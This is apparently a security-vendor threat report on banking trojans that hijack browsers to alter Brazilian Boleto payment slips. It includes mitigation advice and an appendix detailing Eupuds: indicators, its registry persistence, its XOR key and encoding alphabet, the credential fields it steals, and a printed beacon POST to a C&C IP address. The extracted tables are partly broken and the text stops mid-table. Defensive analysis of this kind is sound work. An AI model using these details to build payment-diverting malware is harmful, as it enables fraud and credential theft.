Although Boleto is only used in Brazil, there are now at least three families of malware targeting Boleto transactions.
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Financial cybercrime has gone global and in recent years, there has been a growth in the number of attacks tailored towards individual countries and financial institutions. A case in point is the emergence of malware targeted at the Boleto payments system. Although Boleto is only used in Brazil, there are now at least three families of malware targeting Boleto transactions. The size of the Brazilian market and the popularity of Boletos as a payment method mean that Boleto malware (or Bolware) is big business, capable of generating profits amounting to tens of millions of US dollars for cybercriminals per annum.
One of the reasons behind Boleto’s popularity is that the system is accessible and easy to use.
What is a Boleto?

Boleto Bancário (usually referred to as simply "Boleto") is a payments system that is unique to Brazil. Introduced in 1993, a Boleto (also known as Boleto de Cobrança) is essentially a type of invoice, issued by a vendor, which enables the recipient to make a payment for goods and services.

Regulated by FEBRABAN, the Brazilian Federation of Banks, the Boleto system is very popular in Brazil. According to the most recent statistics available from the Brazilian Central Bank, credit transfers (which include Boletos) amounted to 21 percent of the volume of non-cash transactions in 2011 where interbank settlement was involved. However, when transactions that involve no interbank settlement are factored in, credit transfers account for 46 percent of total payments in 2011. This indicates that a significant portion of Boleto payments are routed directly to the issuing bank. Meanwhile, credit transfers (including Boletos) accounted for 86 percent of the total value of non-cash transactions in 2011.

Payment of Boletos also accounts for a significant proportion of online banking transactions. The Brazilian Central Bank found that nine percent of online banking transactions in 2011 were Boleto payments. This compared to eight percent for other types of fund transfers.

Boleto is also a popular form of payment in the e-commerce market. According to Brazilian market research firm E-Bit, Boletos were used to settle 18 percent of e-commerce transactions in 2012, making it the second most popular payment method after credit cards (73 percent).

Initially, Boletos could be paid only in banks, but the system was later expanded to allow for payment in post offices, some shops, ATMs, lottery outlets, or online through internet banking.

One of the reasons behind Boleto’s popularity is that the system is accessible and easy to use. Anyone with a bank account can issue a Boleto. There are multiple ways for the recipient to pay a Boleto and no bank account is required to make payment.

![Figure 1. A typical Boleto with the unique ID and barcode](image-url)
Boletos have a common standard defined by the Brazilian Central Bank and each Boleto includes information such as the name of the issuing bank, the name of the person or organization the payment is due to, the amount due, and the due date. Each Boleto has a unique ID number and a barcode, which allows payment to be made either by scanning the barcode or entering the ID number.

Originally a paper-based system, Boletos have moved with the times and now, many Boletos are issued electronically, often in HTML format. The recipient can print out the Boleto and pay it at a bank or other payment location. Alternatively, they can use the Boleto ID number or barcode to pay it using online or mobile banking.

**Boleto fraud**

Given its popularity in Brazil, it is not surprising that the Boleto payment system is frequently targeted by criminals attempting to defraud money from users. The oldest and most straightforward form of fraud targeting the payment system has been the creation of fake Boletos. These can be distributed in paper format, through the postal system, or in electronic format through spam emails. Usually the fake Boleto resembles a legitimate Boleto, such as services bills. The payment details are for an account controlled by the fraudsters and victims may be fooled into thinking they are paying a legitimate bill. The arrival of electronic Boletos has led to a greater sophistication in Boleto fraud and the emergence of malware specifically targeted at Boleto users.

**Boleto malware**

Malware targeting Boleto users has emerged over the past three years. Symantec is currently aware of three different malware families targeting the payment system: Trojan.Eupuds, Infostealer.Boleteiro, and Infostealer.Domingo. All three take their cues from modern financial Trojans, with attacks mainly focused on hijacking the victim’s web browser in order to intercept and alter electronic Boletos. By altering the Boleto ID number and, in some cases, the barcode, the victim may unwittingly send their payment to an account controlled by the attackers.

**Infection vectors**

Boleto malware has two main infection vectors: spam emails and domain name system (DNS) hijacking.

Spam campaigns that deliver malware usually adopt one of two different tactics. In some cases, the victim is sent a spam email with malware hidden in the attachment. Social engineering tactics are often used to trick the victim into opening the attachment, such as disguising it as a bill or an important document.

The other main spamming tactic is to send an email containing a link and use social engineering to persuade the victim into clicking on the link. Following the link can lead to malware being installed on the victim’s computer.

Many malware-delivery spam campaigns install threats known as downloaders onto the victim’s computer. The downloader in turn is capable of downloading additional malware from a command-and-control (C&C) server.

DNS hijacking involves using malware to maliciously alter the TCP/IP settings of a device in order to redirect
it to a malicious DNS server. The malware could be installed on the victim’s computer or could be hosted on a compromised website.

Legitimate DNS servers will translate domain names to the IP addresses associated with them. A malicious DNS server can reroute traffic to destinations of the attackers’ choosing, such as fake websites designed to steal credentials or websites capable of installing malware on the victim’s computer.

DNS hijacking attacks can target home routers in addition to conventional computers and this tactic is often favored by attackers, given that routers often have a lower level of security. For example, attackers may attempt to access a router by using factory default user names and passwords. A router that has been compromised by a DNS hijacking attack is capable of redirecting traffic from any computer using that router to access the internet.

Boleto interception tactics

Boleto malware uses a number of tactics for intercepting and altering Boletos. Each tactic involves an attempt to intercept a Boleto between the time it is issued and the time it is paid. The transaction details on the Boleto are altered to ensure that the payment is sent to the attackers rather than the legitimate recipient.

Online manipulation

All three Boleto malware families are capable of hijacking the victim’s web browser and detecting when a Boleto is displayed within the browser. Using one of a number of different techniques, the malware will alter the Boleto on-the-fly, changing the ID (payee) number and the barcode in order to trick the victim into sending the payment to an account controlled by the attackers. In some cases, the barcode is altered to render the Boleto unreadable, forcing the victim to manually enter the Boleto ID number when making a payment. In others, the barcode is replaced with one that reflects the changed Boleto ID number.

Figure 3. Attackers intercept and change the payee ID and associated barcode to identify a different payee from the one specified in the text of the Boleto
For example, Eupuds is capable of hijacking three major browsers: Internet Explorer, Chrome, and Firefox. The malware scans incoming traffic to the browser for Boletos that have been issued by any one of 36 different banks. If the threat detects a Boleto, it immediately contacts a C&C server and uploads data about the Boleto and system information about the infected computer. The C&C server will respond with new data to manipulate the Boleto. The Boleto is then displayed in the user’s browser, but instead of the legitimate data, the attacker-supplied data is presented to the user.

Eupuds changes the ID number and the barcode of an intercepted Boleto. However, the barcode is merely changed to make it unreadable, meaning the victim must rely on the attacker-supplied ID number to make a payment.

Boleteiro also uses a similar tactic of on-the-fly manipulation. It is capable of injecting itself into Internet Explorer, Chrome, and Maxthon browsers and scans incoming browser traffic for Boletos issued by 13 different financial institutes. When the Boleto is displayed in the victim’s browser, the malware replaces the Boleto’s legitimate ID number and barcode with new, attacker-supplied versions. Boleteiro differs from other malware in that it replaces the legitimate barcode with a new barcode rather than rendering the original barcode unreadable.

Domingo also uses this tactic, but is only capable of hijacking Internet Explorer. Unlike Eupuds and Boleteiro, the malware is not configured to scan for Boletos issued by any particular bank. Instead it simply scans all displayed HTML pages for Boleto numbers. The Boleto number is a sequence of digits between zero to nine and can include certain characters such as periods (0x2E) and spaces (0x20) in specific positions. Domingo will search for numbers matching these characteristics and checks specific offsets to verify that the sequence of digits is a Boleto number. If the malware finds a Boleto number pattern, then the threat replaces the ID number and barcode with attacker-supplied data. As with Eupuds, the barcode is rendered unreadable, forcing the victim to use the ID number when making a payment.

**Interception of manual online payments**

Another opportunity for attackers to intercept a Boleto comes when the victim attempts to pay a Boleto online. Many Brazilian banks allow their customers to pay Boletos through their online services. If a victim’s computer has been compromised, the malware can monitor browser traffic and identify a Boleto ID number as the user inputs it. The malware will intercept this number and replace it with an attacker-supplied ID number. If the transaction is completed, the payment will be sent to an account controlled by the attacker.

This tactic is utilized by Eupuds, which is capable of hijacking the Internet Explorer, Chrome, and Firefox browsers. The malware will inspect POST data entered into the browser for Boleto ID number patterns. The ID number, along with some basic system information, is then sent to the C&C server, which responds with attacker-supplied Boleto information to alter the Boleto payment details.

**Computer scanning**

A simple but effective way to alter Boletos is to scan the infected computer for Boletos on the assumption that the victim may have saved one or more Boletos that have yet to be paid. This tactic is used by Domingo and is essentially an offline version of its online manipulation capability. The malware will scan any drives connected to the infected computer for .HTM or .HTML files, checking each for Boleto ID numbers. If a Boleto is found, the threat will replace the ID number and barcode with attacker-supplied data. The malware also replaces the barcode with a new barcode generated by the attackers.

**Boleto fraud techniques**

Boleto malware employs a variety of techniques when compromising the victim’s computer. Attackers focus mainly on hijacking the victim’s web browser in order to intercept traffic and detect when a Boleto ID number is either displayed or input in the browser.

**Man-in-the-browser (MITB) attacks**

This technique is used by Eupuds, a threat that is capable of hijacking Internet Explorer, Chrome and Firefox.
MITB attacks are facilitated by the malware’s Browser Injector component, a 32-bit DLL. The role of this component is to identify if any of the aforementioned web browsers are installed on the infected computer and, if one or more is found, install the malware’s Boleto Stealer component into the browser.

The Browser Injector scans the computer for the main processes related to the three browsers: iexplore.exe, firefox.exe, and chrome.exe. If it finds any instance, it will perform supplementary checks to see if associated DLL processes are loaded. These secondary checks are designed to confirm with a higher degree of confidence that the discovered process is indeed browser-related.

If the Browser Injector finds a legitimate browser process, it injects the Boleto Stealer into it. The Boleto Stealer then notifies the Browser Injector when it has been successfully injected and executed.

The Boleto Stealer component is a 32-bit DLL. Once injected into browser processes, it is responsible for intercepting Boleto-related traffic and sending it to the C&C server. The C&C server can respond with data that is used to overwrite the original Boleto.

When injected, the first thing the Boleto Stealer does is determine which browser process it is injected into and hooks the appropriate APIs to perform MITB attacks in order to intercept and manipulate data rendered in the browser. It will also search for a number of browser plugins used to provide additional security to financial transactions and attempt to disable them.

Once running, the Boleto Stealer monitors traffic for signs of a Boleto ID number. The malware attempts to minimize its workload by ignoring certain types of incoming traffic such as image files, video files, and social networking pages.

If a Boleto ID number is found, the malware attempts to alter the Boleto with attacker-supplied data as outlined previously.

**Browser Helper Object (BHO) attacks**

This type of attack is used by the Boleteiro malware and involves hijacking the Internet Explorer browser. When a computer is infected with Boleteiro, a component known as Boleteiro Dropper A creates a malicious Browser Helper Object (BHO). The BHO is registered to load whenever Internet Explorer is launched. In some instances, the BHO is given the file name AdobePro.jpg.

Once installed, the malicious BHO scans browser traffic for numbers that match a Boleto ID. If one is found, Boleteiro will send it to a C&C server along with the expiration date, amount, payer, intended recipient, and trigger URL. The C&C server will return a new Boleto ID number that will be used to alter the Boleto displayed in the browser.

**Chrome extension attacks**

Boleteiro is also capable of Chrome extension attacks. These operate in a similar fashion to the BHO attacks that the malware uses against Internet Explorer. Boleteiro creates a malicious Chrome extension and modifies the Google Chrome browser shortcut link in order to load the malicious Chrome extension every time the browser is launched.

The extension is written in JavaScript and is capable of detecting and then manipulating Boletos displayed in the browser. It monitors traffic for numbers that match a Boleto ID and when one is found, it will send the ID to a C&C server along with the expiration date, amount, payer, payee, and trigger URL. The C&C server will respond with a new Boleto ID number that will divert payment to an account controlled by the attackers.

**Maxthon add-on attacks**

A third browser attack that Boleteiro is capable of is against Maxthon, a freeware browser that is developed in China and has a market share of less than one percent. Boleteiro downloads a malicious Maxthon add-on to the infected computer. When installed, the Maxthon add-on masquerades as a legitimate application called Maxtron Update.
The add-on loads whenever the browser is launched and functions by scanning traffic for Boleteiro ID numbers and replacing these numbers with attacker-supplied data.

**Internet Explorer DOM attacks**

Another type of attack against a browser is performed by Domingo, which uses the Windows Component Object Model to perform Document Object Model (DOM) manipulations in Internet Explorer to modify Boletos with attacker-supplied data.

The Domingo dropper creates two components on the infected computer: the Persistence component (startup.exe) and the Boleto Manipulator (industria.exe). Once both files are executed, the dropper ends itself.

The Persistence component creates a registry key to ensure that the Boleto Manipulator is restarted every time the computer is rebooted. The Boleto Manipulator acts as a Boleto stealer. It uses a web browser control called shdocvw.dll to interact with Internet Explorer.

Once running, the Boleto Manipulator scans the contents of web pages in Internet Explorer. When the Boleto Manipulator identifies a Boleto ID number in the browser's traffic, it will replace the number with attacker-supplied data which will cause the victim to divert payment to an account controlled by the attackers. The Boleto Manipulator will also change the barcode so that the modified Boleto can be scanned.

Interestingly, if the Boleto Manipulator cannot contact a C&C server to download an attacker-supplied Boleto ID number, a hard-coded Boleto number template is used instead.

**Offline attacks**

Domingo also has the ability to find and alter Boletos outside of the browser. The Boleto Manipulator component of the malware will look for any drive connected to the infected computer (from B: to Z:) and scan it for any .HTM or .HTML files. If any are found to contain Boleto ID numbers, the Boleto Manipulator will alter the Boleto in the same manner as it would in an Internet Explorer-based attack, replacing the ID number and barcode with attacker-supplied data.

**Secondary capabilities**

Some variants of Boleto malware have additional features that enable the malware to mount non-Boleto related attacks. For example, Boleteiro is also capable of stealing online banking and email credentials from victims. The malware’s malicious Chrome extension runs periodic checks to see if the victim visits the Brazilian websites of two different multinational banks. In the case of one bank, the malicious browser extension will steal the user name, password, and password token used to log into accounts. In the case of the second bank, the malware is configured to steal the user name, password, token number, account number, organization, signature, and mobile number of the victim.

In addition to this, Boleteiro’s malicious Chrome extension can also steal user names and passwords used to log in into Microsoft’s Live.com. It is quite likely the attackers use this information to spread Boleto malware in further social engineering email attacks.

Boleteiro can also attack Internet Explorer in a similar fashion using a BHO attack. However, in this case, it can only steal credentials from one of the banks mentioned above, in addition to Live.com.

Eupuds is also capable of stealing login credentials. The malware uses an MITB attack to hijack the Internet Explorer, Chrome and Firefox browsers. The malware will monitor browser traffic for attempts to log into Live.com and Facebook. It then attempts to steal the victim’s user name and password from Live.com. At the time of analysis, Eupuds’ Facebook credential-stealing functionality appears to be disabled or may be non-functioning because it is still in development.
If you are suspicious about a Boleto, you can compare the ID number to previous bills from the same company.
Mitigation

Advice for consumers

- Keep antivirus definitions, operating systems, and software up-to-date.
- Exercise caution when clicking on enticing links sent through emails, messaging services, or on social networks.
- Only download files from trusted and legitimate sources.
- Do not neglect the security of your internet router. Change the default administrative password and apply software updates when available.
- Be wary if the barcode on a Boleto does not work. Check the Boleto to ensure that it hasn’t been manipulated.
- If you are suspicious about a Boleto, you can compare the ID number to previous bills from the same company. In most cases, the first half of the Boleto ID number will remain the same from month to month, as this part of the number identifies the destination bank account.
- Consider using more secure methods of payment, such as an authorized direct debit (DDA–Debito Direto Autorizado) to pay regular bills.

Advice for businesses

- Businesses who use Boletos to bill customers should consider implementing additional security measures in order to make it more difficult for malware to redirect payments. Companies could do this by issuing electronic Boletos in the PDF format rather than in HTML to make it harder for threats to modify data.
- Consider offering alternative methods of payment, such as direct debit.

Conclusion

Over the past three years, Boleto malware has emerged to target the Brazilian market and there are now at least three different malware families attempting to defraud users of the Boleto payments system. Attackers have adopted the tactics and techniques that have been refined by older forms of financial malware to create a uniquely Brazilian threat.

It is difficult to estimate the total losses attributable to Boleto malware, but given the growth and persistence of the threat, it is reasonable to conclude that these malicious campaigns continue to be highly profitable for attackers.

Looking forward, it is likely that the Boleto malware landscape will continue to expand as more cybercrime groups attempt to move into this area. New malware variants may emerge and existing financial Trojans may be modified with new modules specifically tailored to steal Boletos. It is also likely that the groups currently targeting Boleto systems will continue to improve their malware by attempting to develop features designed to bypass security measures. Boleto malware should be seen as an evolving threat and constant vigilance is advised.
Protection

Symantec and Norton products detect these threats as:

**Antivirus**
- Trojan.Eupuds
- Trojan.Eupuds!gm
- Infostealer.Boleteiro
- Infostealer.Domingo

**IPS**
- System Infected: Trojan.Eupuds Network Activity
- System Infected: Infostealer.Boleteiro Activity
- System Infected: Infostealer.Boleteiro Activity 2
- System Infected: Infostealer.Boleteiro Activity 3
Appendix

Trojan.Eupuds

Beryllium is a group of attackers who participate in large scale financial fraud using Trojan.Eupuds. According to a recent report from RSA Security in July 2014, the cybercriminals have been in operation since 2012 and have attempted to defraud an estimated US$3.75 billion from Boleto users. Trojan.Eupuds uses the well-established man-in-the-browser (MITB) technique, which can intercept online activity, including activity involving Boletos. Trojan.Eupuds modifies the Boleto number to redirect funds to a money mule account, instead of the expected legitimate one. Unfortunately for the victim, the modifications are subtle, so they are hard to detect even by the most security-savvy individuals.

Beryllium is targeting Boleto payments of over 30 financial institutions, both when they are generated online and when a user manually enters a Boleto number. To encourage users to type in Boleto numbers, the attackers modify the barcode (which still contains the legitimate payment information) so that it is no longer machine readable.

Identification

Table 1 contains a list of vendor detections identifying the threat.

<table>
<thead>
<tr>
<th>Vendor</th>
<th>Aliases</th>
</tr>
</thead>
<tbody>
<tr>
<td>Symantec</td>
<td>Trojan.Eupuds</td>
</tr>
<tr>
<td>Microsoft</td>
<td>Trojan:Win32/Eupuds.A</td>
</tr>
</tbody>
</table>

Table 2 contains a list of artifacts used as part of the analysis.

<table>
<thead>
<tr>
<th>PE Time-stamp</th>
<th>Parent (MD5)</th>
<th>Size (bytes)</th>
<th>Packed</th>
<th>Purpose</th>
<th>Child (MD5)</th>
</tr>
</thead>
<tbody>
<tr>
<td>15/01/10 16:09:54</td>
<td>5f856a3edf769f01061b-13b2a1165d2c</td>
<td>1053442</td>
<td>Yes</td>
<td>Eupuds AutoIt Loader</td>
<td>7ba69974f63703dc5c102d11ec9167d9</td>
</tr>
<tr>
<td>20/03/14 01:24:11</td>
<td>7ba69974f63703dc5c102d-11ec9167d9</td>
<td>621568</td>
<td>No</td>
<td>Eupuds Loader</td>
<td>fceebcd8abddbfaf65623f53404ff6d7</td>
</tr>
<tr>
<td>20/03/14 01:22:53</td>
<td>fceebcd8abddbfaf65623f53404ff6d7</td>
<td>347648</td>
<td>No</td>
<td>Browser Injector</td>
<td>074e15006411c63f3e90d55dc4b4abbdd</td>
</tr>
<tr>
<td>20/03/14 00:55:56</td>
<td>53289ae1a4753a-2973423e0c6d6d0361</td>
<td>132608</td>
<td>No</td>
<td>Boleto Stealer</td>
<td>53289ae1a4753a2973423e0c6d6d0361</td>
</tr>
<tr>
<td>30/11/12 02:18:52</td>
<td>074e15006411c63f3e90d-55dc4b4abbdd</td>
<td>54784</td>
<td>No</td>
<td>Internet Explorer Launcher</td>
<td></td>
</tr>
</tbody>
</table>

Exploit usage

No exploits were observed during analysis.
**Anti-analysis**

Table 3 contains a list of reverse-engineering challenges discovered during the course of the analysis.

### Anti-debug

During the installation of Trojan.Eupuds, debugging may be hampered for the following reasons:
1. Eupuds executes under numerous processes created during installation
   - a. The Eupuds AutoIt Loader creates a new child process and ends the parent
   - b. The newly created process further injects code into an existing system process
   - c. The newly injected code will inject additional code in a browser process
2. Eupuds calls the IsDebuggerPresent API to check if it is being debugged
3. The header of injected DLLs has been modified, which hampers identification

### Packing and compression

AutoIt is used to package the Eupuds Loader.

### Obfuscation

AutoIt is used to obfuscate the Eupuds Loader.

### Encryption

Eupuds encrypts strings within its binaries.

#### Host-based encryption

The Boleto Stealer contains XOR-encrypted strings to mask the following:
1. Security-related DLL plugins associated with Banco de Brasil
2. URLs
3. Boleto-related strings

#### Network encryption

The Browser Injector uses XOR encryption and Base64 encoding with a non-standard encoding alphabet during POST requests to the control server.

#### Random string generation algorithm

Eupuds uses a random string generation algorithm to create:
1. Random file names
2. Random folder names
3. Random padding for data during network communications

The algorithm generates strings that are:
1. One to eight characters in length

---

**Table 3. List of anti-analysis techniques used by Eupuds**

<table>
<thead>
<tr>
<th>Category</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Anti-debug</td>
<td>Yes</td>
</tr>
<tr>
<td>Anti-emulation</td>
<td>No</td>
</tr>
<tr>
<td>Anti-VM</td>
<td>No</td>
</tr>
<tr>
<td>Packing and compression</td>
<td>Yes</td>
</tr>
<tr>
<td>Obfuscation</td>
<td>Yes</td>
</tr>
<tr>
<td>Host-based encryption</td>
<td>No</td>
</tr>
<tr>
<td>Network-based encryption</td>
<td>Yes</td>
</tr>
<tr>
<td>Server-side tricks</td>
<td>No</td>
</tr>
</tbody>
</table>

**Table 4. List of encryption algorithms and keys used by Eupuds**

<table>
<thead>
<tr>
<th>Encryption</th>
<th>Key</th>
</tr>
</thead>
<tbody>
<tr>
<td>XOR</td>
<td>0xAABBCCD4</td>
</tr>
<tr>
<td>Base64</td>
<td>A-Z,a-z,0-9,-,_</td>
</tr>
</tbody>
</table>
2. Made up of alphanumeric characters from zero to nine and a to f
   Note: Eupuds uses variations of this algorithm with alternate string lengths and alphanumeric characters.

**Eupuds AutoIt Loader**

The Eupuds AutoIt Loader is a 32-bit AutoIt executable used to package the Eupuds Loader.

<table>
<thead>
<tr>
<th>Table 5. Eupuds AutoIt Loader component characteristics Functionality</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>MD5</strong></td>
</tr>
<tr>
<td>SHA-1</td>
</tr>
<tr>
<td>SHA-256</td>
</tr>
<tr>
<td>Size (bytes)</td>
</tr>
<tr>
<td>Purpose</td>
</tr>
</tbody>
</table>

The Eupuds AutoIt Loader is responsible for:

1. Unpacking the Eupuds Loader
2. Creating a new process and overwriting the contents of the new process with the Eupuds Loader
3. Executing the Eupuds Loader within the newly created process

**Eupuds Loader**

The Eupuds Loader is a 32-bit executable unpacked by the Eupuds AutoIt Loader. The Eupuds Loader contains the Browser Injector and the Internet Explorer Launcher and is responsible for injecting additional components into existing system and browser processes.

<table>
<thead>
<tr>
<th>Table 6. Eupuds Loader component characteristics</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>MD5</strong></td>
</tr>
<tr>
<td>SHA-1</td>
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<tr>
<td>SHA-256</td>
</tr>
<tr>
<td>Size (bytes)</td>
</tr>
<tr>
<td>Purpose</td>
</tr>
</tbody>
</table>

**Functionality**

The Eupuds Loader will check for the following mutex:

- DynGateInstanceMutexS

If this mutex is found, the loader will stop its activity to ensure that only one instance of Eupuds is running.

The Eupuds Loader will then enumerate the processes that are currently on the computer and select one to inject the Browser Injector into. Once injected, the MZ header of the Browser Injector is modified to prevent debugging and dumping of the module.

The Eupuds Loader is capable of inter-process communication (IPC).

The Eupuds Loader contains version 7.19.5 of [libcurl](https://libcurl.org), an easy-to-use client-side URL transfer library. However, this library is not used in the loader’s activities.
Installation

The Eupuds Loader will inject the Browser Injector into existing system processes, but not those in the following list:

- explorer.exe
- userinit.exe
- iexplore.exe
- firefox.exe
- chrome.exe
- System Idle Process
- System
- Interrupts
- csrss.exe
- svchost.exe
- winlogon.exe
- services.exe (or any of its child processes)
- lsass.exe

The Eupuds Loader is not injected into a process with a PID = 0 (System).

Browser Injector

The Browser Injector is a 32-bit DLL which is embedded in the Eupuds Loader. The Browser Injector contains the Boleto Stealer. The Browser Injector is responsible for injecting the Boleto Stealer into browser-related processes.

Note: The MZ header of the Boleto Stealer is modified to be “\x10Z”.

Functionality

The Eupuds Loader will check for the following mutex.

- DynGateInstanceMutexS

If the mutex is found, the loader will stop its activity to ensure only one instance of Eupuds is running. If the mutex is not found, the Browser Injector will create it.

The Browser Injector will then search for the following browser-related processes in a loop:

- iexplore.exe: If found, the Browser Injector will also check that wininet.dll is loaded into this process
- firefox.exe: If found, the Browser Injector will also check that the combination of ssl3.dll, nss3.dll, snpr4.dll, and ssl3.dll are loaded into this process
- chrome.exe: If found, the Browser Injector will also check that chrome.dll is loaded into this process

The additional checks provide a higher level of confidence that the targeted process is in fact a browser-related process. If the conditions are not met, the Browser Injector continues searching for browser-related processes.

If the Browser Injector finds a legitimate browser process to target, it will inject the Boleto Stealer into it and create a remote thread. The Boleto Stealer will notify the Browser Injector when it has been successfully injected.
and executed.

The Boleto Stealer will not be injected into Chrome or Internet Explorer if the parent process is explorer.exe. The Boleto Stealer will only be injected into these browsers when a new tab is opened.

If the browser process is terminated, the Browser Injector will continue to search for browsers to inject the Boleto Stealer into.

The Browser Injector also hooks the ExitProcess API in the host process, replacing it with a sleep function in order to prevent the process from being ended.

Additionally, when the Browser Injector is injected into iexplore.exe, it can perform the following actions:
1. Create empty files while performing file-access checking
2. Create file and registry values for persistence
3. Check in with the C&C server using a POST request

Installation

The Browser Injector will create the following registry entry to ensure that the Eupuds AutoIt Loader is persistent every time the computer restarts (Table 8).

<table>
<thead>
<tr>
<th>Action</th>
<th>Name</th>
<th>Type</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>Create</td>
<td>HKKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</td>
<td>[RANDOM FILE NAME]</td>
<td>REG_SZ %UserProfile%\Application Data[RANDOM FOLDER NAME][RANDOM FILE NAME].exe</td>
</tr>
</tbody>
</table>

The following is an example of the file path created for the Eupuds AutoIt Loader.
- %SystemDrive%\Documents and Settings\Administrator\Appdata\3ee853b6\813.exe

The random string generation algorithm is used to generate the file and folder name.

The Eupuds AutoIt Loader is copied to the location in Table 9.

<table>
<thead>
<tr>
<th>Action</th>
<th>Path</th>
<th>File name</th>
<th>MD5</th>
</tr>
</thead>
<tbody>
<tr>
<td>Create</td>
<td>%UserProfile%\Application Data[RANDOM FOLDER NAME]</td>
<td>[RANDOM FILE NAME].exe</td>
<td>0eb750db1ecdf0d2de80002822b5efd1</td>
</tr>
</tbody>
</table>

The following files may be created (Table 10). The size of files is 0 and the file names are hard-coded.

<table>
<thead>
<tr>
<th>Action</th>
<th>File name</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>Create</td>
<td>% UserProfile%\Application Data\97524eb3</td>
<td>Write access check</td>
</tr>
<tr>
<td>Create</td>
<td>% UserProfile%\Application Data\e637799e</td>
<td>Write access check</td>
</tr>
</tbody>
</table>

The Eupuds AutoIt Loader may also modify browser processes (Table 11).

<table>
<thead>
<tr>
<th>Action</th>
<th>Process</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify</td>
<td>[BROWSER PROCESS]</td>
<td>DLL injection</td>
</tr>
</tbody>
</table>
[BROWSER PROCESS] is one of the following:

- firefox.exe
- iexplore.exe
- chrome.exe

**Command-and-control**

The Browser Injector can send HTTP POST requests over port 80. The POST data is encrypted using XOR and then Base64-encoded with a custom alphabet.

- /index.php

The Browser Injector will contact the C&C server to report the userid (hard-coded in the Browser Injector) using the following POST request:

```
POST /index.php
HTTP/1.0
Host: 216.246.30.4
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
6ce7457a=6LnIwaal35rn8JTRp6nJzbDyu6Q=
```

The POST data is prep-ended with the following string generated by the random string generation algorithm:

- 6ce7457a

The following is the encrypted data in the POST request:

- 6LnIwaal35rn8JTRp6nJzbDyu6Q=

The following is the decrypted data in the POST request:

- <userid>3</userid>

**Note:** The encrypted data is separated using an equals sign (=).

**The Boleto Stealer**

The Boleto Stealer is a 32-bit DLL which is embedded in the Browser Injector. This component is injected into browser processes, and is responsible for intercepting traffic that may be desirable to the attackers and sending it to the control server. The control server can respond with data that can overwrite the original Boleto numbers to be processed by the browser.

| Table 12. Eupuds Boleto Stealer component characteristics |
|---------------------------------|------------------|
| MD5                             | 53289ae1a4753a2973423e0c6d6d0361 |
| SHA-1                           | c25e886fe879f890fc19455ded5c62c9f959aa5 |
| SHA-256                         | c42333f9d2f946b0f284f6c227b3cc9e0ddeb91a63121ad453a2152cc55b |
| Size (bytes)                    | 132608            |
| Purpose                         | Data stealer      |

**Functionality**

The Boleto Stealer first determines which browser process it is injected into and hooks the appropriate APIs to perform MITB attacks in order to intercept and manipulate data rendered in the browser.

The Boleto Stealer also hooks ExitProcess. The code does not perform any actions and returns the execution to the original code at ExitProcess.
The Boleto Stealer will attempt to disable the following plugins which provide additional security to online financial transactions:

- gbiehscd.dll
- gbiehuni.dll
- gbieh.dll
- gbiehcef.dll
- gbpdist.dll
- gbiehabn.dll

Once the hooks are installed, the Boleto Stealer then monitors for the following URLs based on specific patterns:

- pagador.com.br
- Boleto
- 2via
- segundavia
- carrinho
- bndes.gov.br
- ?4798

If the Boleto Stealer finds a pattern, specific details related to Boleto numbers are sent to the C&C server. The server can respond with relevant information to replace the original Boleto before rendering it in the browser.

The Boleto Stealer will ignore incoming traffic that contains any of the following strings in the URL:

- .gif
- .jpg
- .jpeg
- .png
- .swf
- .flv
- .bmp
- facebook.com
- hotmail.com
- live.com

**Boleto manipulation**

The Boleto Stealer can manipulate the Boleto in a number of different ways.

**Boleto generation**

The Boleto Stealer is configured to steal Boletos from 36 different Boleto-issuing banks and other organizations. When the Boleto Stealer triggers on one of the configured URLs, it will inspect the page for a three-digit bank code in the following format:

- XXX-

If there is a matching URL and three-digit bank code, this information, along with additional system information, is sent to the C&C server. The server will respond with attacker-supplied data to replace data from the Boleto.

The Boleto Stealer will then continue to search for the following four-digit codes:

- 7489
- 4099
- 3419
- 6529
- 3999
- 4779
If a match for any of these sequences of numbers is found, the Boleto Stealer then searches for the following character:

- <

The Boleto Stealer will then extract the data from the start of the four-digit code until it finds the “<” character. It will then upload this data and basic system information to the C&C server. The server will respond with attacker-supplied data to manipulate the Boleto.

The Boleto is then rendered in the user’s browser, but instead of the legitimate data, the attacker-supplied data is presented to the user. This may result in fraudulent transactions.

Invalidating the barcode

The Boleto Stealer modifies the Boleto’s barcode to prevent it from being scanned. The Boleto Stealer does this by searching for the HTML tags in Table 13.

The HTML image element is disabled by replacing it with a comment.

To the victim, the barcode will still appear to look valid, however it will no longer be scannable. This could lead the user to manually input the fraudulent Boleto information.

<table>
<thead>
<tr>
<th>Start</th>
<th>End</th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt;img</td>
<td>&gt;</td>
</tr>
<tr>
<td>&lt;=IMG</td>
<td>&gt;</td>
</tr>
</tbody>
</table>
Manually inputting the Boleto

The Boleto Stealer is also capable of intercepting Boletos that have been manually entered online. The Boleto Stealer will inspect POST data for patterns matching the previously mentioned four-digit codes.

This information, along with some basic system information, is sent to the server, which responds with attacker-supplied Boleto data to alter the Boleto payment details.

URL pattern match

The Boleto Stealer can also search for URLs containing the following strings:

- &config=
- ader&cod

The URL, along with some basic system information, is sent to the server, which responds with attacker-supplied data to overwrite the original data in the browser.

Credential theft

The Boleto Stealer is also capable of intercepting login information from the following websites:

- Microsoft Live
- Facebook (this functionality may be disabled or a work in progress)

Microsoft Live

The Boleto Stealer steals login credentials used on the following Microsoft address:

- login.live.com/ppsecure

The Boleto Stealer inspects the POST request for the following parameters, which are extracted and sent to the C&C server:

- login=
- passwd=

Facebook

The Boleto Stealer checks for the following parameter in the POST request during the login process for Facebook:

- lsd=

Note: This function may be disabled or may be a work in progress.

Installation

Table 14 shows the registry entry created to ensure the Eupuds AutoIt Loader remains persistent anytime the computer restarts.

<table>
<thead>
<tr>
<th>Action</th>
<th>Registry subkey</th>
<th>Name</th>
<th>Type</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>Create</td>
<td>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</td>
<td>[RANDOM FILE NAME]</td>
<td>REG_SZ</td>
